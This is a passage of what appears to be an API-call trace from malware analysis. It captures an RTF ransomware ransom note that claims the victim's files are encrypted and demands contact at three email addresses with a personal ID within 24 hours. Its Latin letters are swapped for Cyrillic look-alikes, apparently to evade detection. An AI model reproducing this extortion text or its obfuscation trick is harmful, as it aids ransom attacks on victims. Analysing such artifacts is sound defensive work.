l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2734c38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 